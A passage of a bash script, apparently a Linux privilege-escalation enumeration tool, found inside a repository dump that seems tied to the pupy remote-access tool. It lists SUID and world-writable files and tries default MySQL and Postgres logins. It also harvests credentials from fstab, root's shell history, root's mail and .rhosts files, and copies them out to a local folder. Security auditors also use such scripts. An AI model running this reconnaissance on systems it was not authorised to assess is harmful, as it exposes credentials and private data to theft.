echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#default route configuration\ndefroute=`route 2>/dev/null | grep default`\nif [ \"$defroute\" ]; then\n  echo -e \"\\e[00;31mDefault route:\\e[00m\\n$defroute\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#listening TCP\ntcpservs=`netstat -antp 2>/dev/null`\nif [ \"$tcpservs\" ]; then\n  echo -e \"\\e[00;31mListening TCP:\\e[00m\\n$tcpservs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#listening UDP\nudpservs=`netstat -anup 2>/dev/null`\nif [ \"$udpservs\" ]; then\n  echo -e \"\\e[00;31mListening UDP:\\e[00m\\n$udpservs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### SERVICES #############################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#running processes\npsaux=`ps aux 2>/dev/null`\nif [ \"$psaux\" ]; then\n  echo -e \"\\e[00;31mRunning processes:\\e[00m\\n$psaux\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#lookup process binary path and permissisons\nprocperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'`\nif [ \"$procperm\" ]; then\n  echo -e \"\\e[00;31mProcess binaries & associated permissions (from above list):\\e[00m\\n$procperm\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$procperm\" ]; then\nprocpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'`\n  mkdir $format/ps-export/ 2>/dev/null\n  for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null\nelse \n  :\nfi\n\n#anything 'useful' in inetd.conf\ninetdread=`cat /etc/inetd.conf 2>/dev/null`\nif [ \"$inetdread\" ]; then\n  echo -e \"\\e[00;31mContents of /etc/inetd.conf:\\e[00m\\n$inetdread\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$inetdread\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null\nelse \n  :\nfi\n\n#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each\ninetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null`\nif [ \"$inetdbinperms\" ]; then\n  echo -e \"\\e[00;31mThe related inetd binary permissions:\\e[00m\\n$inetdbinperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nxinetdread=`cat /etc/xinetd.conf 2>/dev/null`\nif [ \"$xinetdread\" ]; then\n  echo -e \"\\e[00;31mContents of /etc/xinetd.conf:\\e[00m\\n$xinetdread\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$xinetdread\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null\nelse \n  :\nfi\n\nxinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep \"/etc/xinetd.d\" 2>/dev/null`\nif [ \"$xinetdincd\" ]; then\n  echo -e \"\\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\\e[00m\" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each\nxinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null`\nif [ \"$xinetdbinperms\" ]; then\n  echo -e \"\\e[00;31mThe related xinetd binary permissions:\\e[00m\\n$xinetdbinperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\ninitdread=`ls -la /etc/init.d 2>/dev/null`\nif [ \"$initdread\" ]; then\n  echo -e \"\\e[00;31m/etc/init.d/ binary permissions:\\e[00m\\n$initdread\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi  \n\n#init.d files NOT belonging to root!\ninitdperms=`find /etc/init.d/ \\! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`\nif [ \"$initdperms\" ]; then\n  echo -e \"\\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\\e[00m\\n$initdperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nrcdread=`ls -la /etc/rc.d/init.d 2>/dev/null`\nif [ \"$rcdread\" ]; then\n  echo -e \"\\e[00;31m/etc/rc.d/init.d binary permissions:\\e[00m\\n$rcdread\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#init.d files NOT belonging to root!\nrcdperms=`find /etc/rc.d/init.d \\! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`\nif [ \"$rcdperms\" ]; then\n  echo -e \"\\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\\e[00m\\n$rcdperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nusrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null`\nif [ \"$usrrcdread\" ]; then\n  echo -e \"\\e[00;31m/usr/local/etc/rc.d binary permissions:\\e[00m\\n$usrrcdread\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#rc.d files NOT belonging to root!\nusrrcdperms=`find /usr/local/etc/rc.d \\! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`\nif [ \"$usrrcdperms\" ]; then\n  echo -e \"\\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\\e[00m\\n$usrrcdperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### SOFTWARE #############################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#sudo version - check to see if there are any known vulnerabilities with this\nsudover=`sudo -V 2>/dev/null| grep \"Sudo version\" 2>/dev/null`\nif [ \"$sudover\" ]; then\n  echo -e \"\\e[00;31mSudo version:\\e[00m\\n$sudover\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#mysql details - if installed\nmysqlver=`mysql --version 2>/dev/null`\nif [ \"$mysqlver\" ]; then\n  echo -e \"\\e[00;31mMYSQL version:\\e[00m\\n$mysqlver\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if root/root will get us a connection\nmysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null`\nif [ \"$mysqlconnect\" ]; then\n  echo -e \"\\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\\e[00m\\n$mysqlconnect\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#mysql version details\nmysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null`\nif [ \"$mysqlconnectnopass\" ]; then\n  echo -e \"\\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\\e[00m\\n$mysqlconnectnopass\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#postgres details - if installed\npostgver=`psql -V 2>/dev/null`\nif [ \"$postgver\" ]; then\n  echo -e \"\\e[00;31mPostgres version:\\e[00m\\n$postgver\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this\npostcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version`\nif [ \"$postcon1\" ]; then\n  echo -e \"\\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\\e[00m\\n$postcon1\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\npostcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`\nif [ \"$postcon11\" ]; then\n  echo -e \"\\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\\e[00m\\n$postcon11\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\npostcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version`\nif [ \"$postcon2\" ]; then\n  echo -e \"\\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\\e[00m\\n$postcon2\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\npostcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`\nif [ \"$postcon22\" ]; then\n  echo -e \"\\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\\e[00m\\n$postcon22\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#apache details - if installed\napachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null`\nif [ \"$apachever\" ]; then\n  echo -e \"\\e[00;31mApache version:\\e[00m\\n$apachever\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#what account is apache running under\napacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\\|group' |awk '{sub(/.*\\export /,\"\")}1'`\nif [ \"$apacheusr\" ]; then\n  echo -e \"\\e[00;31mApache user configuration:\\e[00m\\n$apacheusr\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$apacheusr\" ]; then\n  mkdir --parents $format/etc-export/apache2/ 2>/dev/null\n  cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### INTERESTING FILES ####################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#checks to see if various files are installed\necho -e \"\\e[00;31mUseful file locations:\\e[00m\" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null\necho -e \"\\n\" |tee -a $report 2>/dev/null\n\n#limited search for installed compilers\ncompiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`\nif [ \"$compiler\" ]; then\n  echo -e \"\\e[00;31mInstalled compilers:\\e[00m\\n$compiler\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\n else \n  :\nfi\n\n#manual check - lists out sensitive files, can we read/modify etc.\necho -e \"\\e[00;31mCan we read/write sensitive files:\\e[00m\" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null\necho -e \"\\n\" |tee -a $report 2>/dev/null\n\n#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below)\nif [ \"$thorough\" = \"1\" ]; then\nfindsuid=`find / -perm -4000 -type f 2>/dev/null`\n\tif [ \"$findsuid\" ]; then\n\t\techo -e \"\\e[00;31mSUID files:\\e[00m\\n$findsuid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\nif [ \"$thorough\" = \"1\" ]; then\n\tif [ \"$export\" ] && [ \"$findsuid\" ]; then\n\t\tmkdir $format/suid-files/ 2>/dev/null\n\t\tfor i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#list of 'interesting' suid files - feel free to make additions\nif [ \"$thorough\" = \"1\" ]; then\nintsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\\|perl\\|'awk'\\|'find'\\|'bash'\\|'sh'\\|'man'\\|'more'\\|'less'\\|'vi'\\|'vim'\\|'nc'\\|'netcat'\\|python\\|ruby\\|lua\\|irb\\|pl' | xargs -r ls -la` 2>/dev/null\n\tif [ \"$intsuid\" ]; then\n\t\techo -e \"\\e[00;33m***Possibly interesting SUID files:\\e[00m\\n$intsuid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#lists word-writable suid files\nif [ \"$thorough\" = \"1\" ]; then\nwwsuid=`find / -perm -4007 -type f 2>/dev/null`\n\tif [ \"$wwsuid\" ]; then\n\t\techo -e \"\\e[00;31mWorld-writable SUID files:\\e[00m\\n$wwsuid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#lists world-writable suid files owned by root\nif [ \"$thorough\" = \"1\" ]; then\nwwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null`\n\tif [ \"$wwsuidrt\" ]; then\n\t\techo -e \"\\e[00;31mWorld-writable SUID files owned by root:\\e[00m\\n$wwsuidrt\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below)\nif [ \"$thorough\" = \"1\" ]; then\nfindguid=`find / -perm -2000 -type f 2>/dev/null`\n\tif [ \"$findguid\" ]; then\n\t\techo -e \"\\e[00;31mGUID files:\\e[00m\\n$findguid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\nif [ \"$thorough\" = \"1\" ]; then\n\tif [ \"$export\" ] && [ \"$findguid\" ]; then\n\t\tmkdir $format/guid-files/ 2>/dev/null\n\t\tfor i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#list of 'interesting' guid files - feel free to make additions\nif [ \"$thorough\" = \"1\" ]; then\nintguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\\|perl\\|'awk'\\|'find'\\|'bash'\\|'sh'\\|'man'\\|'more'\\|'less'\\|'vi'\\|'vim'\\|'nc'\\|'netcat'\\|python\\|ruby\\|lua\\|irb\\|pl' | xargs -r ls -la`\n\tif [ \"$intguid\" ]; then\n\t\techo -e \"\\e[00;33m***Possibly interesting GUID files:\\e[00m\\n$intguid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#lists world-writable guid files\nif [ \"$thorough\" = \"1\" ]; then\nwwguid=`find / -perm -2007 -type f 2>/dev/null`\n\tif [ \"$wwguid\" ]; then\n\t\techo -e \"\\e[00;31mWorld-writable GUID files:\\e[00m\\n$wwguid\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#lists world-writable guid files owned by root\nif [ \"$thorough\" = \"1\" ]; then\nwwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null`\n\tif [ \"$wwguidrt\" ]; then\n\t\techo -e \"\\e[00;31mAWorld-writable GUID files owned by root:\\e[00m\\n$wwguidrt\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#list all world-writable files excluding /proc\nif [ \"$thorough\" = \"1\" ]; then\nwwfiles=`find / ! -path \"*/proc/*\" -perm -2 -type f -print 2>/dev/null`\n\tif [ \"$wwfiles\" ]; then\n\t\techo -e \"\\e[00;31mWorld-writable files (excluding /proc):\\e[00m\\n$wwfiles\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\nif [ \"$thorough\" = \"1\" ]; then\n\tif [ \"$export\" ] && [ \"$wwfiles\" ]; then\n\t\tmkdir $format/ww-files/ 2>/dev/null\n\t\tfor i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#are any .plan files accessible in /home (could contain useful information)\nusrplan=`find /home -iname *.plan -exec ls -la {} \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$usrplan\" ]; then\n  echo -e \"\\e[00;31mPlan file permissions and contents:\\e[00m\\n$usrplan\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$usrplan\" ]; then\n  mkdir $format/plan_files/ 2>/dev/null\n  for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null\nelse \n  :\nfi\n\nbsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$bsdusrplan\" ]; then\n  echo -e \"\\e[00;31mPlan file permissions and contents:\\e[00m\\n$bsdusrplan\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$bsdusrplan\" ]; then\n  mkdir $format/plan_files/ 2>/dev/null\n  for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null\nelse \n  :\nfi\n\n#are there any .rhosts files accessible - these may allow us to login as another user etc.\nrhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$rhostsusr\" ]; then\n  echo -e \"\\e[00;31mrhost config file(s) and file contents:\\e[00m\\n$rhostsusr\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$rhostsusr\" ]; then\n  mkdir $format/rhosts/ 2>/dev/null\n  for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null\nelse \n  :\nfi\n\nbsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$bsdrhostsusr\" ]; then\n  echo -e \"\\e[00;31mrhost config file(s) and file contents:\\e[00m\\n$bsdrhostsusr\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$bsdrhostsusr\" ]; then\n  mkdir $format/rhosts 2>/dev/null\n  for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null\nelse \n  :\nfi\n\nrhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$rhostssys\" ]; then\n  echo -e \"\\e[00;31mHosts.equiv file details and file contents: \\e[00m\\n$rhostssys\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\n  else \n  :\nfi\n\nif [ \"$export\" ] && [ \"$rhostssys\" ]; then\n  mkdir $format/rhosts/ 2>/dev/null\n  for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null\nelse \n  :\nfi\n\n#list nfs shares/permisisons etc.\nnfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`\nif [ \"$nfsexports\" ]; then\n  echo -e \"\\e[00;31mNFS config details: \\e[00m\\n$nfsexports\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\n  else \n  :\nfi\n\nif [ \"$export\" ] && [ \"$nfsexports\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/exports $format/etc-export/exports 2>/dev/null\nelse \n  :\nfi\n\n#looking for credentials in /etc/fstab\nfstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\\username=/,\"\");sub(/\\,.*/,\"\")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\\password=/,\"\");sub(/\\,.*/,\"\")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\\domain=/,\"\");sub(/\\,.*/,\"\")}1'| xargs -r echo domain:`\nif [ \"$fstab\" ]; then\n  echo -e \"\\e[00;33m***Looks like there are credentials in /etc/fstab!\\e[00m\\n$fstab\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\n  else \n  :\nfi\n\nif [ \"$export\" ] && [ \"$fstab\" ]; then\n  mkdir $format/etc-exports/ 2>/dev/null\n  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null\nelse \n  :\nfi\n\nfstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\\credentials=/,\"\");sub(/\\,.*/,\"\")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'`\nif [ \"$fstabcred\" ]; then\n    echo -e \"\\e[00;33m***/etc/fstab contains a credentials file!\\e[00m\\n$fstabcred\" |tee -a $report 2>/dev/null\n    echo -e \"\\n\" |tee -a $report 2>/dev/null\n    else\n    :\nfi\n\nif [ \"$export\" ] && [ \"$fstabcred\" ]; then\n  mkdir $format/etc-exports/ 2>/dev/null\n  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null\nelse \n  :\nfi\n\n#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located\nif [ \"$keyword\" = \"\" ]; then\n  echo -e \"Can't search *.conf files as no keyword was entered\\n\" |tee -a $report 2>/dev/null\n  else\n    confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \\; 2>/dev/null`\n    if [ \"$confkey\" ]; then\n      echo -e \"\\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\\e[00m\\n$confkey\" |tee -a $report 2>/dev/null\n      echo -e \"\\n\" |tee -a $report 2>/dev/null\n     else \n\techo -e \"\\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\\e[00m\" |tee -a $report 2>/dev/null\n\techo -e \"'$keyword' not found in any .conf files\" |tee -a $report 2>/dev/null\n\techo -e \"\\n\" |tee -a $report 2>/dev/null\n    fi\nfi\n\nif [ \"$keyword\" = \"\" ]; then\n  :\n  else\n    if [ \"$export\" ] && [ \"$confkey\" ]; then\n\t  confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \\; 2>/dev/null`\n      mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null\n      for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null\n    else \n      :\n  fi\nfi\n\n#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located\nif [ \"$keyword\" = \"\" ];then\n  echo -e \"Can't search *.log files as no keyword was entered\\n\" |tee -a $report 2>/dev/null\n  else\n    logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \\; 2>/dev/null`\n    if [ \"$logkey\" ]; then\n      echo -e \"\\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\\e[00m\\n$logkey\" |tee -a $report 2>/dev/null\n      echo -e \"\\n\" |tee -a $report 2>/dev/null\n     else \n\techo -e \"\\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\\e[00m\" |tee -a $report 2>/dev/null\n\techo -e \"'$keyword' not found in any .log files\"\n\techo -e \"\\n\" |tee -a $report 2>/dev/null\n    fi\nfi\n\nif [ \"$keyword\" = \"\" ];then\n  :\n  else\n    if [ \"$export\" ] && [ \"$logkey\" ]; then\n      logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \\; 2>/dev/null`\n\t  mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null\n      for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null\n    else \n      :\n  fi\nfi\n\n#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located\nif [ \"$keyword\" = \"\" ];then\n  echo -e \"Can't search *.ini files as no keyword was entered\\n\" |tee -a $report 2>/dev/null\n  else\n    inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \\; 2>/dev/null`\n    if [ \"$inikey\" ]; then\n      echo -e \"\\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\\e[00m\\n$inikey\" |tee -a $report 2>/dev/null\n      echo -e \"\\n\" |tee -a $report 2>/dev/null\n     else \n\techo -e \"\\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\\e[00m\" |tee -a $report 2>/dev/null\n\techo -e \"'$keyword' not found in any .ini files\" |tee -a $report 2>/dev/null\n\techo -e \"\\n\"\n    fi\nfi\n\nif [ \"$keyword\" = \"\" ];then\n  :\n  else\n    if [ \"$export\" ] && [ \"$inikey\" ]; then\n\t  inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \\; 2>/dev/null`\n      mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null\n      for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null\n    else \n      :\n  fi\nfi\n\n#quick extract of .conf files from /etc - only 1 level\nallconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \\; 2>/dev/null`\nif [ \"$allconf\" ]; then\n  echo -e \"\\e[00;31mAll *.conf files in /etc (recursive 1 level):\\e[00m\\n$allconf\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$allconf\" ]; then\n  mkdir $format/conf-files/ 2>/dev/null\n  for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null\nelse \n  :\nfi\n\n#extract any user history files that are accessible\nusrhist=`ls -la ~/.*_history 2>/dev/null`\nif [ \"$usrhist\" ]; then\n  echo -e \"\\e[00;31mCurrent user's history files:\\e[00m\\n$usrhist\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$usrhist\" ]; then\n  mkdir $format/history_files/ 2>/dev/null\n  for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null\n else \n  :\nfi\n\n#can we read roots *_history files - could be passwords stored etc.\nroothist=`ls -la /root/.*_history 2>/dev/null`\nif [ \"$roothist\" ]; then\n  echo -e \"\\e[00;33m***Root's history files are accessible!\\e[00m\\n$roothist\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$roothist\" ]; then\n  mkdir $format/history_files/ 2>/dev/null\n  cp $roothist $format/history_files/ 2>/dev/null\nelse \n  :\nfi\n\n#is there any mail accessible\nreadmail=`ls -la /var/mail 2>/dev/null`\nif [ \"$readmail\" ]; then\n  echo -e \"\\e[00;31mAny interesting mail in /var/mail:\\e[00m\\n$readmail\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#can we read roots mail\nreadmailroot=`head /var/mail/root 2>/dev/null`\nif [ \"$readmailroot\" ]; then\n  echo -e \"\\e[00;33m***We can read /var/mail/root! (snippet below)\\e[00m\\n$readmailroot\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$readmailroot\" ]; then\n  mkdir $format/mail-from-root/ 2>/dev/null\n  cp $readmailroot $format/mail-from-root/ 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### SCAN COMPLETE ####################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#EndOfScript\n"
  },
  {
    "path": "pupy/library_patches_py2/Crypto/Util/_raw_api.py",
